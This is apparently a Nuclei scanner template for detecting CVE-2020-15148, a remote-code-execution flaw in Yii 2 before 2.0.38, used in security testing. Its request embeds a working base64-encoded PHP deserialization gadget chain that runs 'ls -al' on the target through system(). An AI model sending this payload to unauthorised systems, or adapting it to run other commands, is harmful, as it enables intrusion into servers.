id: CVE-2020-15148 info: name: Yii 2 < 2.0.38 - Remote Code Execution author: pikpikcu severity: critical description: "Yii 2 (yiisoft/yii2) before version 2.0.38 is vulnerable to remote code execution if the application calls `unserialize()` on arbitrary user input." reference: - https://blog.csdn.net/xuandao_ahfengren/article/details/111259943 - https://github.com/nosafer/nosafer.github.io/blob/227a05f5eff69d32a027f15d6106c6d735124659/docs/Web%E5%AE%89%E5%85%A8/Yii2/%EF%BC%88CVE-2020-15148%EF%BC%89Yii2%E6%A1%86%E6%9E%B6%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E.md classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10.0 cve-id: CVE-2020-15148 cwe-id: CWE-502 remediation: Upgrade to version 2.0.38 or later. A possible workaround without upgrading is available in the linked advisory. tags: cve,cve2020,rce,yii requests: - method: GET path: - "{{BaseURL}}/index.php?r=test/sss&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6ImxzIC1hbCI7fWk6MTtzOjM6InJ1biI7fX19fQ==" matchers-condition: and matchers: - type: word words: - "total" - "An internal server error occurred." condition: and - type: status status: - 500 # Enhanced by mp on 2022/04/27